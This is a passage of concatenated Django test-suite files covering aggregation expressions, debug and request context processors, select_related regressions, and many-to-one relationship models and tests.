        def be_evil(self, compiler, connection):
            substitutions = dict(function='MAX', expressions='2')
            substitutions.update(self.extra)
            return self.template % substitutions, ()
        setattr(MySum, 'as_' + connection.vendor, be_evil)

        qs = Book.objects.annotate(
            sums=MySum(F('rating') + F('pages') + F('price'), output_field=IntegerField())
        )
        self.assertEqual(str(qs.query).count('MAX('), 1)
        b1 = qs.get(pk=self.b4.pk)
        self.assertEqual(b1.sums, 2)

    def test_complex_values_aggregation(self):
        max_rating = Book.objects.values('rating').aggregate(
            double_max_rating=Max('rating') + Max('rating'))
        self.assertEqual(max_rating['double_max_rating'], 5 * 2)

        max_books_per_rating = Book.objects.values('rating').annotate(
            books_per_rating=Count('id') + 5
        ).aggregate(Max('books_per_rating'))
        self.assertEqual(
            max_books_per_rating,
            {'books_per_rating__max': 3 + 5})

    def test_expression_on_aggregation(self):

        # Create a plain expression
        class Greatest(Func):
            function = 'GREATEST'

            def as_sqlite(self, compiler, connection):
                return super(Greatest, self).as_sql(compiler, connection, function='MAX')

        qs = Publisher.objects.annotate(
            price_or_median=Greatest(Avg('book__rating'), Avg('book__price'))
        ).filter(price_or_median__gte=F('num_awards')).order_by('num_awards')
        self.assertQuerysetEqual(
            qs, [1, 3, 7, 9], lambda v: v.num_awards)

        qs2 = Publisher.objects.annotate(
            rating_or_num_awards=Greatest(Avg('book__rating'), F('num_awards'),
                                          output_field=FloatField())
        ).filter(rating_or_num_awards__gt=F('num_awards')).order_by('num_awards')
        self.assertQuerysetEqual(
            qs2, [1, 3], lambda v: v.num_awards)






from django.db import models


class DebugObject(models.Model):
    pass






from django.shortcuts import render

from .models import DebugObject


def request_processor(request):
    return render(request, 'context_processors/request_attrs.html')


def debug_processor(request):
    context = {
        'debug_objects': DebugObject.objects,
        'other_debug_objects': DebugObject.objects.using('other'),
    }
    return render(request, 'context_processors/debug.html', context)






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^request_attrs/$', views.request_processor),
    url(r'^debug/$', views.debug_processor),
]












"""
Tests for Django's bundled context processors.
"""
from django.test import SimpleTestCase, TestCase, override_settings


@override_settings(
    ROOT_URLCONF='context_processors.urls',
    TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.request',
            ],
        },
    }],
)
class RequestContextProcessorTests(SimpleTestCase):
    """
    Tests for the ``django.template.context_processors.request`` processor.
    """

    def test_request_attributes(self):
        """
        Test that the request object is available in the template and that its
        attributes can't be overridden by GET and POST parameters (#3828).
        """
        url = '/request_attrs/'
        # We should have the request object in the template.
        response = self.client.get(url)
        self.assertContains(response, 'Have request')
        # Test is_secure.
        response = self.client.get(url)
        self.assertContains(response, 'Not secure')
        response = self.client.get(url, {'is_secure': 'blah'})
        self.assertContains(response, 'Not secure')
        response = self.client.post(url, {'is_secure': 'blah'})
        self.assertContains(response, 'Not secure')
        # Test path.
        response = self.client.get(url)
        self.assertContains(response, url)
        response = self.client.get(url, {'path': '/blah/'})
        self.assertContains(response, url)
        response = self.client.post(url, {'path': '/blah/'})
        self.assertContains(response, url)


@override_settings(
    DEBUG=True,
    INTERNAL_IPS=['127.0.0.1'],
    ROOT_URLCONF='context_processors.urls',
    TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
            ],
        },
    }],
)
class DebugContextProcessorTests(TestCase):
    """
    Tests for the ``django.template.context_processors.debug`` processor.
    """

    def test_debug(self):
        url = '/debug/'
        # We should have the debug flag in the template.
        response = self.client.get(url)
        self.assertContains(response, 'Have debug')

        # And now we should not
        with override_settings(DEBUG=False):
            response = self.client.get(url)
            self.assertNotContains(response, 'Have debug')

    def test_sql_queries(self):
        """
        Test whether sql_queries represents the actual amount
        of queries executed. (#23364)
        """
        url = '/debug/'
        response = self.client.get(url)
        self.assertContains(response, 'First query list: 0')
        self.assertContains(response, 'Second query list: 1')
        # Check we have not actually memoized connection.queries
        self.assertContains(response, 'Third query list: 2')
        # Check queries for DB connection 'other'
        self.assertContains(response, 'Fourth query list: 3')






from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Building(models.Model):
    name = models.CharField(max_length=10)

    def __str__(self):
        return "Building: %s" % self.name


@python_2_unicode_compatible
class Device(models.Model):
    building = models.ForeignKey('Building', models.CASCADE)
    name = models.CharField(max_length=10)

    def __str__(self):
        return "device '%s' in building %s" % (self.name, self.building)


@python_2_unicode_compatible
class Port(models.Model):
    device = models.ForeignKey('Device', models.CASCADE)
    port_number = models.CharField(max_length=10)

    def __str__(self):
        return "%s/%s" % (self.device.name, self.port_number)


@python_2_unicode_compatible
class Connection(models.Model):
    start = models.ForeignKey(
        Port,
        models.CASCADE,
        related_name='connection_start',
        unique=True,
    )
    end = models.ForeignKey(
        Port,
        models.CASCADE,
        related_name='connection_end',
        unique=True,
    )

    def __str__(self):
        return "%s to %s" % (self.start, self.end)

# Another non-tree hierarchy that exercises code paths similar to the above
# example, but in a slightly different configuration.


class TUser(models.Model):
    name = models.CharField(max_length=200)


class Person(models.Model):
    user = models.ForeignKey(TUser, models.CASCADE, unique=True)


class Organizer(models.Model):
    person = models.ForeignKey(Person, models.CASCADE)


class Student(models.Model):
    person = models.ForeignKey(Person, models.CASCADE)


class Class(models.Model):
    org = models.ForeignKey(Organizer, models.CASCADE)


class Enrollment(models.Model):
    std = models.ForeignKey(Student, models.CASCADE)
    cls = models.ForeignKey(Class, models.CASCADE)

# Models for testing bug #8036.


class Country(models.Model):
    name = models.CharField(max_length=50)


class State(models.Model):
    name = models.CharField(max_length=50)
    country = models.ForeignKey(Country, models.CASCADE)


class ClientStatus(models.Model):
    name = models.CharField(max_length=50)


class Client(models.Model):
    name = models.CharField(max_length=50)
    state = models.ForeignKey(State, models.SET_NULL, null=True)
    status = models.ForeignKey(ClientStatus, models.CASCADE)


class SpecialClient(Client):
    value = models.IntegerField()

# Some model inheritance exercises


@python_2_unicode_compatible
class Parent(models.Model):
    name = models.CharField(max_length=10)

    def __str__(self):
        return self.name


class Child(Parent):
    value = models.IntegerField()


@python_2_unicode_compatible
class Item(models.Model):
    name = models.CharField(max_length=10)
    child = models.ForeignKey(Child, models.SET_NULL, null=True)

    def __str__(self):
        return self.name

# Models for testing bug #19870.


@python_2_unicode_compatible
class Fowl(models.Model):
    name = models.CharField(max_length=10)

    def __str__(self):
        return self.name


class Hen(Fowl):
    pass


class Chick(Fowl):
    mother = models.ForeignKey(Hen, models.CASCADE)


class Base(models.Model):
    name = models.CharField(max_length=10)
    lots_of_text = models.TextField()

    class Meta:
        abstract = True


class A(Base):
    a_field = models.CharField(max_length=10)


class B(Base):
    b_field = models.CharField(max_length=10)


class C(Base):
    c_a = models.ForeignKey(A, models.CASCADE)
    c_b = models.ForeignKey(B, models.CASCADE)
    is_published = models.BooleanField(default=False)












from __future__ import unicode_literals

from django.test import TestCase
from django.utils import six

from .models import (
    A, B, Building, C, Chick, Child, Class, Client, ClientStatus, Connection,
    Country, Device, Enrollment, Hen, Item, Organizer, Person, Port,
    SpecialClient, State, Student, TUser,
)


class SelectRelatedRegressTests(TestCase):

    def test_regression_7110(self):
        """
        Regression test for bug #7110.

        When using select_related(), we must query the
        Device and Building tables using two different aliases (each) in order to
        differentiate the start and end Connection fields. The net result is that
        both the "connections = ..." queries here should give the same results
        without pulling in more than the absolute minimum number of tables
        (history has shown that it's easy to make a mistake in the implementation
        and include some unnecessary bonus joins).
        """

        b = Building.objects.create(name='101')
        dev1 = Device.objects.create(name="router", building=b)
        dev2 = Device.objects.create(name="switch", building=b)
        dev3 = Device.objects.create(name="server", building=b)
        port1 = Port.objects.create(port_number='4', device=dev1)
        port2 = Port.objects.create(port_number='7', device=dev2)
        port3 = Port.objects.create(port_number='1', device=dev3)
        c1 = Connection.objects.create(start=port1, end=port2)
        c2 = Connection.objects.create(start=port2, end=port3)

        connections = Connection.objects.filter(start__device__building=b, end__device__building=b).order_by('id')
        self.assertEqual(
            [(c.id, six.text_type(c.start), six.text_type(c.end)) for c in connections],
            [(c1.id, 'router/4', 'switch/7'), (c2.id, 'switch/7', 'server/1')]
        )

        connections = (
            Connection.objects
            .filter(start__device__building=b, end__device__building=b)
            .select_related()
            .order_by('id')
        )
        self.assertEqual(
            [(c.id, six.text_type(c.start), six.text_type(c.end)) for c in connections],
            [(c1.id, 'router/4', 'switch/7'), (c2.id, 'switch/7', 'server/1')]
        )

        # This final query should only have seven tables (port, device and building
        # twice each, plus connection once). Thus, 6 joins plus the FROM table.
        self.assertEqual(str(connections.query).count(" JOIN "), 6)

    def test_regression_8106(self):
        """
        Regression test for bug #8106.

        Same sort of problem as the previous test, but this time there are
        more extra tables to pull in as part of the select_related() and some
        of them could potentially clash (so need to be kept separate).
        """

        us = TUser.objects.create(name="std")
        usp = Person.objects.create(user=us)
        uo = TUser.objects.create(name="org")
        uop = Person.objects.create(user=uo)
        s = Student.objects.create(person=usp)
        o = Organizer.objects.create(person=uop)
        c = Class.objects.create(org=o)
        Enrollment.objects.create(std=s, cls=c)

        e_related = Enrollment.objects.all().select_related()[0]
        self.assertEqual(e_related.std.person.user.name, "std")
        self.assertEqual(e_related.cls.org.person.user.name, "org")

    def test_regression_8036(self):
        """
        Regression test for bug #8036

        the first related model in the tests below
        ("state") is empty and we try to select the more remotely related
        state__country. The regression here was not skipping the empty column results
        for country before getting status.
        """

        Country.objects.create(name='Australia')
        active = ClientStatus.objects.create(name='active')
        client = Client.objects.create(name='client', status=active)

        self.assertEqual(client.status, active)
        self.assertEqual(Client.objects.select_related()[0].status, active)
        self.assertEqual(Client.objects.select_related('state')[0].status, active)
        self.assertEqual(Client.objects.select_related('state', 'status')[0].status, active)
        self.assertEqual(Client.objects.select_related('state__country')[0].status, active)
        self.assertEqual(Client.objects.select_related('state__country', 'status')[0].status, active)
        self.assertEqual(Client.objects.select_related('status')[0].status, active)

    def test_multi_table_inheritance(self):
        """ Exercising select_related() with multi-table model inheritance. """
        c1 = Child.objects.create(name="child1", value=42)
        Item.objects.create(name="item1", child=c1)
        Item.objects.create(name="item2")

        self.assertQuerysetEqual(
            Item.objects.select_related("child").order_by("name"),
            ["<Item: item1>", "<Item: item2>"]
        )

    def test_regression_12851(self):
        """
        Regression for #12851

        Deferred fields are used correctly if you select_related a subset
        of fields.
        """
        australia = Country.objects.create(name='Australia')
        active = ClientStatus.objects.create(name='active')

        wa = State.objects.create(name="Western Australia", country=australia)
        Client.objects.create(name='Brian Burke', state=wa, status=active)
        burke = Client.objects.select_related('state').defer('state__name').get(name='Brian Burke')

        self.assertEqual(burke.name, 'Brian Burke')
        self.assertEqual(burke.state.name, 'Western Australia')

        # Still works if we're dealing with an inherited class
        SpecialClient.objects.create(name='Troy Buswell', state=wa, status=active, value=42)
        troy = SpecialClient.objects.select_related('state').defer('state__name').get(name='Troy Buswell')

        self.assertEqual(troy.name, 'Troy Buswell')
        self.assertEqual(troy.value, 42)
        self.assertEqual(troy.state.name, 'Western Australia')

        # Still works if we defer an attribute on the inherited class
        troy = SpecialClient.objects.select_related('state').defer('value', 'state__name').get(name='Troy Buswell')

        self.assertEqual(troy.name, 'Troy Buswell')
        self.assertEqual(troy.value, 42)
        self.assertEqual(troy.state.name, 'Western Australia')

        # Also works if you use only, rather than defer
        troy = SpecialClient.objects.select_related('state').only('name', 'state').get(name='Troy Buswell')

        self.assertEqual(troy.name, 'Troy Buswell')
        self.assertEqual(troy.value, 42)
        self.assertEqual(troy.state.name, 'Western Australia')

    def test_null_join_promotion(self):
        australia = Country.objects.create(name='Australia')
        active = ClientStatus.objects.create(name='active')

        wa = State.objects.create(name="Western Australia", country=australia)
        bob = Client.objects.create(name='Bob', status=active)
        jack = Client.objects.create(name='Jack', status=active, state=wa)
        qs = Client.objects.filter(state=wa).select_related('state')
        with self.assertNumQueries(1):
            self.assertEqual(list(qs), [jack])
            self.assertEqual(qs[0].state, wa)
            # The select_related join wasn't promoted as there was already an
            # existing (even if trimmed) inner join to state.
            self.assertNotIn('LEFT OUTER', str(qs.query))
        qs = Client.objects.select_related('state').order_by('name')
        with self.assertNumQueries(1):
            self.assertEqual(list(qs), [bob, jack])
            self.assertIs(qs[0].state, None)
            self.assertEqual(qs[1].state, wa)
            # The select_related join was promoted as there is already an
            # existing join.
            self.assertIn('LEFT OUTER', str(qs.query))

    def test_regression_19870(self):
        hen = Hen.objects.create(name='Hen')
        Chick.objects.create(name='Chick', mother=hen)

        self.assertEqual(Chick.objects.all()[0].mother.name, 'Hen')
        self.assertEqual(Chick.objects.select_related()[0].mother.name, 'Hen')

    def test_regression_10733(self):
        a = A.objects.create(name='a', lots_of_text='lots_of_text_a', a_field='a_field')
        b = B.objects.create(name='b', lots_of_text='lots_of_text_b', b_field='b_field')
        c = C.objects.create(name='c', lots_of_text='lots_of_text_c', is_published=True,
                             c_a=a, c_b=b)
        results = C.objects.all().only('name', 'lots_of_text', 'c_a', 'c_b', 'c_b__lots_of_text',
                                       'c_a__name', 'c_b__name').select_related()
        self.assertQuerysetEqual(results, [c], lambda x: x)
        with self.assertNumQueries(0):
            qs_c = results[0]
            self.assertEqual(qs_c.name, 'c')
            self.assertEqual(qs_c.lots_of_text, 'lots_of_text_c')
            self.assertEqual(qs_c.c_b.lots_of_text, 'lots_of_text_b')
            self.assertEqual(qs_c.c_a.name, 'a')
            self.assertEqual(qs_c.c_b.name, 'b')

    def test_regression_22508(self):
        building = Building.objects.create(name='101')
        device = Device.objects.create(name="router", building=building)
        Port.objects.create(port_number='1', device=device)

        device = Device.objects.get()
        port = device.port_set.select_related('device__building').get()
        with self.assertNumQueries(0):
            port.device.building






"""
Mutually referential many-to-one relationships

Strings can be used instead of model literals to set up "lazy" relations.
"""

from django.db import models


class Parent(models.Model):
    name = models.CharField(max_length=100)

    # Use a simple string for forward declarations.
    bestchild = models.ForeignKey("Child", models.SET_NULL, null=True, related_name="favored_by")


class Child(models.Model):
    name = models.CharField(max_length=100)

    # You can also explicitly specify the related app.
    parent = models.ForeignKey("mutually_referential.Parent", models.CASCADE)












from django.test import TestCase

from .models import Parent


class MutuallyReferentialTests(TestCase):

    def test_mutually_referential(self):
        # Create a Parent
        q = Parent(name='Elizabeth')
        q.save()

        # Create some children
        c = q.child_set.create(name='Charles')
        q.child_set.create(name='Edward')

        # Set the best child
        # No assertion require here; if basic assignment and
        # deletion works, the test passes.
        q.bestchild = c
        q.save()
        q.delete()






"""
Empty model tests

These test that things behave sensibly for the rare corner-case of a model with
no fields.
"""

from django.db import models


class Empty(models.Model):
    pass












from django.test import TestCase

from .models import Empty


class EmptyModelTests(TestCase):
    def test_empty(self):
        m = Empty()
        self.assertIsNone(m.id)
        m.save()
        Empty.objects.create()
        self.assertEqual(len(Empty.objects.all()), 2)
        self.assertIsNotNone(m.id)
        existing = Empty(m.id)
        existing.save()












"""
Many-to-one relationships

To define a many-to-one relationship, use ``ForeignKey()``.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Reporter(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)
    email = models.EmailField()

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateField()
    reporter = models.ForeignKey(Reporter, models.CASCADE)

    def __str__(self):
        return self.headline

    class Meta:
        ordering = ('headline',)


@python_2_unicode_compatible
class City(models.Model):
    id = models.BigAutoField(primary_key=True)
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class District(models.Model):
    city = models.ForeignKey(City, models.CASCADE, related_name='districts', null=True)
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


# If ticket #1578 ever slips back in, these models will not be able to be
# created (the field names being lower-cased versions of their opposite
# classes is important here).
class First(models.Model):
    second = models.IntegerField()


class Second(models.Model):
    first = models.ForeignKey(First, models.CASCADE, related_name='the_first')


# Protect against repetition of #1839, #2415 and #2536.
class Third(models.Model):
    name = models.CharField(max_length=20)
    third = models.ForeignKey('self', models.SET_NULL, null=True, related_name='child_set')


class Parent(models.Model):
    name = models.CharField(max_length=20, unique=True)
    bestchild = models.ForeignKey('Child', models.SET_NULL, null=True, related_name='favored_by')


class Child(models.Model):
    name = models.CharField(max_length=20)
    parent = models.ForeignKey(Parent, models.CASCADE)


class ToFieldChild(models.Model):
    parent = models.ForeignKey(Parent, models.CASCADE, to_field='name')


# Multiple paths to the same model (#7110, #7125)
@python_2_unicode_compatible
class Category(models.Model):
    name = models.CharField(max_length=20)

    def __str__(self):
        return self.name


class Record(models.Model):
    category = models.ForeignKey(Category, models.CASCADE)


@python_2_unicode_compatible
class Relation(models.Model):
    left = models.ForeignKey(Record, models.CASCADE, related_name='left_set')
    right = models.ForeignKey(Record, models.CASCADE, related_name='right_set')

    def __str__(self):
        return "%s - %s" % (self.left.category.name, self.right.category.name)


# Test related objects visibility.
class SchoolManager(models.Manager):
    def get_queryset(self):
        return super(SchoolManager, self).get_queryset().filter(is_public=True)


class School(models.Model):
    is_public = models.BooleanField(default=False)
    objects = SchoolManager()


class Student(models.Model):
    school = models.ForeignKey(School, models.CASCADE)












import datetime
from copy import deepcopy

from django.core.exceptions import FieldError, MultipleObjectsReturned
from django.db import models, transaction
from django.db.utils import IntegrityError
from django.test import TestCase, ignore_warnings
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.translation import ugettext_lazy

from .models import (
    Article, Category, Child, City, District, First, Parent, Record, Relation,
    Reporter, School, Student, Third, ToFieldChild,
)


class ManyToOneTests(TestCase):
    def setUp(self):
        # Create a few Reporters.
        self.r = Reporter(first_name='John', last_name='Smith', email='john@example.com')
        self.r.save()
        self.r2 = Reporter(first_name='Paul', last_name='Jones', email='paul@example.com')
        self.r2.save()
        # Create an Article.
        self.a = Article(headline="This is a test", pub_date=datetime.date(2005, 7, 27), reporter=self.r)
        self.a.save()

    def test_get(self):
        # Article objects have access to their related Reporter objects.
        r = self.a.reporter
        self.assertEqual(r.id, self.r.id)
        # These are strings instead of unicode strings because that's what was used in
        # the creation of this reporter (and we haven't refreshed the data from the
        # database, which always returns unicode strings).
        self.assertEqual((r.first_name, self.r.last_name), ('John', 'Smith'))

    def test_create(self):
        # You can also instantiate an Article by passing the Reporter's ID
        # instead of a Reporter object.
        a3 = Article(headline="Third article", pub_date=datetime.date(2005, 7, 27), reporter_id=self.r.id)
        a3.save()
        self.assertEqual(a3.reporter.id, self.r.id)

        # Similarly, the reporter ID can be a string.
        a4 = Article(headline="Fourth article", pub_date=datetime.date(2005, 7, 27), reporter_id=str(self.r.id))
        a4.save()
        self.assertEqual(repr(a4.reporter), "<Reporter: John Smith>")

    def test_add(self):
        # Create an Article via the Reporter object.
        new_article = self.r.article_set.create(headline="John's second story", pub_date=datetime.date(2005, 7, 29))
        self.assertEqual(repr(new_article), "<Article: John's second story>")
        self.assertEqual(new_article.reporter.id, self.r.id)

        # Create a new article, and add it to the article set.
        new_article2 = Article(headline="Paul's story", pub_date=datetime.date(2006, 1, 17))
        msg = "<Article: Paul's story> instance isn't saved. Use bulk=False or save the object first."
        with self.assertRaisesMessage(ValueError, msg):
            self.r.article_set.add(new_article2)

        self.r.article_set.add(new_article2, bulk=False)
        self.assertEqual(new_article2.reporter.id, self.r.id)
        self.assertQuerysetEqual(
            self.r.article_set.all(),
            ["<Article: John's second story>", "<Article: Paul's story>", "<Article: This is a test>"]
        )

        # Add the same article to a different article set - check that it moves.
        self.r2.article_set.add(new_article2)
        self.assertEqual(new_article2.reporter.id, self.r2.id)
        self.assertQuerysetEqual(self.r2.article_set.all(), ["<Article: Paul's story>"])

        # Adding an object of the wrong type raises TypeError.
        with transaction.atomic():
            with six.assertRaisesRegex(self, TypeError,
                                       "'Article' instance expected, got <Reporter.*"):
                self.r.article_set.add(self.r2)
        self.assertQuerysetEqual(
            self.r.article_set.all(),
            ["<Article: John's second story>", "<Article: This is a test>"]
        )

    def test_set(self):
        new_article = self.r.article_set.create(headline="John's second story", pub_date=datetime.date(2005, 7, 29))
        new_article2 = self.r2.article_set.create(headline="Paul's story", pub_date=datetime.date(2006, 1, 17))

        # Assign the article to the reporter.
        new_article2.reporter = self.r
        new_article2.save()
        self.assertEqual(repr(new_article2.reporter), "<Reporter: John Smith>")
        self.assertEqual(new_article2.reporter.id, self.r.id)
        self.assertQuerysetEqual(self.r.article_set.all(), [
            "<Article: John's second story>",
            "<Article: Paul's story>",
            "<Article: This is a test>",
        ])
        self.assertQuerysetEqual(self.r2.article_set.all(), [])

        # Set the article back again.
        self.r2.article_set.set([new_article, new_article2])
        self.assertQuerysetEqual(self.r.article_set.all(), ["<Article: This is a test>"])
        self.assertQuerysetEqual(
            self.r2.article_set.all(),
            ["<Article: John's second story>", "<Article: Paul's story>"]
        )

        # Funny case - because the ForeignKey cannot be null,
        # existing members of the set must remain.
        self.r.article_set.set([new_article])
        self.assertQuerysetEqual(
            self.r.article_set.all(),
            ["<Article: John's second story>", "<Article: This is a test>"]
        )
        self.assertQuerysetEqual(self.r2.article_set.all(), ["<Article: Paul's story>"])

    def test_reverse_assignment_deprecation(self):
        msg = (
            "Direct assignment to the reverse side of a related set is "
            "deprecated due to the implicit save() that happens. Use "
            "article_set.set() instead."
        )
        with self.assertRaisesMessage(RemovedInDjango20Warning, msg):
            self.r2.article_set = []

    def test_assign(self):
        new_article = self.r.article_set.create(headline="John's second story", pub_date=datetime.date(2005, 7, 29))
        new_article2 = self.r2.article_set.create(headline="Paul's story", pub_date=datetime.date(2006, 1, 17))

        # Assign the article to the reporter directly using the descriptor.
        new_article2.reporter = self.r
        new_article2.save()
        self.assertEqual(repr(new_article2.reporter), "<Reporter: John Smith>")
        self.assertEqual(new_article2.reporter.id, self.r.id)
        self.assertQuerysetEqual(self.r.article_set.all(), [
            "<Article: John's second story>",
            "<Article: Paul's story>",
            "<Article: This is a test>",
        ])
        self.assertQuerysetEqual(self.r2.article_set.all(), [])

        # Set the article back again using set() method.
        self.r2.article_set.set([new_article, new_article2])
        self.assertQuerysetEqual(self.r.article_set.all(), ["<Article: This is a test>"])
        self.assertQuerysetEqual(
            self.r2.article_set.all(),
            ["<Article: John's second story>", "<Article: Paul's story>"]
        )

        # Because the ForeignKey cannot be null, existing members of the set
        # must remain.
        self.r.article_set.set([new_article])
        self.assertQuerysetEqual(
            self.r.article_set.all(),
            ["<Article: John's second story>", "<Article: This is a test>"]
        )
        self.assertQuerysetEqual(self.r2.article_set.all(), ["<Article: Paul's story>"])
        # Reporter cannot be null - there should not be a clear or remove method
        self.assertFalse(hasattr(self.r2.article_set, 'remove'))
        self.assertFalse(hasattr(self.r2.article_set, 'clear'))

    def test_selects(self):
        self.r.article_set.create(headline="John's second story", pub_date=datetime.date(2005, 7, 29))
        self.r2.article_set.create(headline="Paul's story", pub_date=datetime.date(2006, 1, 17))
        # Reporter objects have access to their related Article objects.
        self.assertQuerysetEqual(self.r.article_set.all(), [
            "<Article: John's second story>",
            "<Article: This is a test>",
        ])
        self.assertQuerysetEqual(self.r.article_set.filter(headline__startswith='This'), ["<Article: This is a test>"])
        self.assertEqual(self.r.article_set.count(), 2)
        self.assertEqual(self.r2.article_set.count(), 1)
        # Get articles by id
        self.assertQuerysetEqual(Article.objects.filter(id__exact=self.a.id), ["<Article: This is a test>"])
        self.assertQuerysetEqual(Article.objects.filter(pk=self.a.id), ["<Article: This is a test>"])
        # Query on an article property
        self.assertQuerysetEqual(Article.objects.filter(headline__startswith='This'), ["<Article: This is a test>"])
        # The API automatically follows relationships as far as you need.
        # Use double underscores to separate relationships.
        # This works as many levels deep as you want. There's no limit.
        # Find all Articles for any Reporter whose first name is "John".
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__first_name__exact='John'),
            ["<Article: John's second story>", "<Article: This is a test>"]
        )
        # Check that implied __exact also works
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__first_name='John'),
            ["<Article: John's second story>", "<Article: This is a test>"]
        )
        # Query twice over the related field.
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__first_name__exact='John', reporter__last_name__exact='Smith'),
            ["<Article: John's second story>", "<Article: This is a test>"]
        )
        # The underlying query only makes one join when a related table is referenced twice.
        queryset = Article.objects.filter(reporter__first_name__exact='John', reporter__last_name__exact='Smith')
        self.assertNumQueries(1, list, queryset)
        self.assertEqual(queryset.query.get_compiler(queryset.db).as_sql()[0].count('INNER JOIN'), 1)

        # The automatically joined table has a predictable name.
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__first_name__exact='John').extra(
                where=["many_to_one_reporter.last_name='Smith'"]),
            ["<Article: John's second story>", "<Article: This is a test>"]
        )
        # ... and should work fine with the unicode that comes out of forms.Form.cleaned_data
        self.assertQuerysetEqual(
            (Article.objects
                .filter(reporter__first_name__exact='John')
                .extra(where=["many_to_one_reporter.last_name='%s'" % 'Smith'])),
            ["<Article: John's second story>", "<Article: This is a test>"]
        )
        # Find all Articles for a Reporter.
        # Use direct ID check, pk check, and object comparison
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__id__exact=self.r.id),
            [
                "<Article: John's second story>",
                "<Article: This is a test>",
            ])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__pk=self.r.id),
            [
                "<Article: John's second story>",
                "<Article: This is a test>",
            ])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter=self.r.id),
            [
                "<Article: John's second story>",
                "<Article: This is a test>",
            ])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter=self.r),
            [
                "<Article: John's second story>",
                "<Article: This is a test>",
            ])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__in=[self.r.id, self.r2.id]).distinct(),
            [
                "<Article: John's second story>",
                "<Article: Paul's story>",
                "<Article: This is a test>",
            ])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__in=[self.r, self.r2]).distinct(),
            [
                "<Article: John's second story>",
                "<Article: Paul's story>",
                "<Article: This is a test>",
            ])
        # You can also use a queryset instead of a literal list of instances.
        # The queryset must be reduced to a list of values using values(),
        # then converted into a query
        self.assertQuerysetEqual(
            Article.objects.filter(
                reporter__in=Reporter.objects.filter(first_name='John').values('pk').query
            ).distinct(),
            [
                "<Article: John's second story>",
                "<Article: This is a test>",
            ])

    def test_reverse_selects(self):
        a3 = Article.objects.create(
            headline="Third article",
            pub_date=datetime.date(2005, 7, 27),
            reporter_id=self.r.id,
        )
        Article.objects.create(
            headline="Fourth article",
            pub_date=datetime.date(2005, 7, 27),
            reporter_id=self.r.id,
        )
        john_smith = ["<Reporter: John Smith>"]
        # Reporters can be queried
        self.assertQuerysetEqual(Reporter.objects.filter(id__exact=self.r.id), john_smith)
        self.assertQuerysetEqual(Reporter.objects.filter(pk=self.r.id), john_smith)
        self.assertQuerysetEqual(Reporter.objects.filter(first_name__startswith='John'), john_smith)
        # Reporters can query in opposite direction of ForeignKey definition
        self.assertQuerysetEqual(Reporter.objects.filter(article__id__exact=self.a.id), john_smith)
        self.assertQuerysetEqual(Reporter.objects.filter(article__pk=self.a.id), john_smith)
        self.assertQuerysetEqual(Reporter.objects.filter(article=self.a.id), john_smith)
        self.assertQuerysetEqual(Reporter.objects.filter(article=self.a), john_smith)
        self.assertQuerysetEqual(Reporter.objects.filter(article__in=[self.a.id, a3.id]).distinct(), john_smith)
        self.assertQuerysetEqual(Reporter.objects.filter(article__in=[self.a.id, a3]).distinct(), john_smith)
        self.assertQuerysetEqual(Reporter.objects.filter(article__in=[self.a, a3]).distinct(), john_smith)
        self.assertQuerysetEqual(
            Reporter.objects.filter(article__headline__startswith='T'),
            ["<Reporter: John Smith>", "<Reporter: John Smith>"],
            ordered=False
        )
        self.assertQuerysetEqual(Reporter.objects.filter(article__headline__startswith='T').distinct(), john_smith)

        # Counting in the opposite direction works in conjunction with distinct()
        self.assertEqual(Reporter.objects.filter(article__headline__startswith='T').count(), 2)
        self.assertEqual(Reporter.objects.filter(article__headline__startswith='T').distinct().count(), 1)

        # Queries can go round in circles.
        self.assertQuerysetEqual(
            Reporter.objects.filter(article__reporter__first_name__startswith='John'),
            [
                "<Reporter: John Smith>",
                "<Reporter: John Smith>",
                "<Reporter: John Smith>",
            ],
            ordered=False
        )
        self.assertQuerysetEqual(
            Reporter.objects.filter(article__reporter__first_name__startswith='John').distinct(),
            john_smith
        )
        self.assertQuerysetEqual(Reporter.objects.filter(article__reporter__exact=self.r).distinct(), john_smith)

        # Check that implied __exact also works.
        self.assertQuerysetEqual(Reporter.objects.filter(article__reporter=self.r).distinct(), john_smith)

        # It's possible to use values() calls across many-to-one relations.
        # (Note, too, that we clear the ordering here so as not to drag the
        # 'headline' field into the columns being used to determine uniqueness)
        d = {'reporter__first_name': 'John', 'reporter__last_name': 'Smith'}
        qs = Article.objects.filter(
            reporter=self.r,
        ).distinct().order_by().values('reporter__first_name', 'reporter__last_name')
        self.assertEqual([d], list(qs))

    def test_select_related(self):
        # Check that Article.objects.select_related().dates() works properly when
        # there are multiple Articles with the same date but different foreign-key
        # objects (Reporters).
        r1 = Reporter.objects.create(first_name='Mike', last_name='Royko', email='royko@suntimes.com')
        r2 = Reporter.objects.create(first_name='John', last_name='Kass', email='jkass@tribune.com')
        Article.objects.create(headline='First', pub_date=datetime.date(1980, 4, 23), reporter=r1)
        Article.objects.create(headline='Second', pub_date=datetime.date(1980, 4, 23), reporter=r2)
        self.assertEqual(
            list(Article.objects.select_related().dates('pub_date', 'day')),
            [datetime.date(1980, 4, 23), datetime.date(2005, 7, 27)]
        )
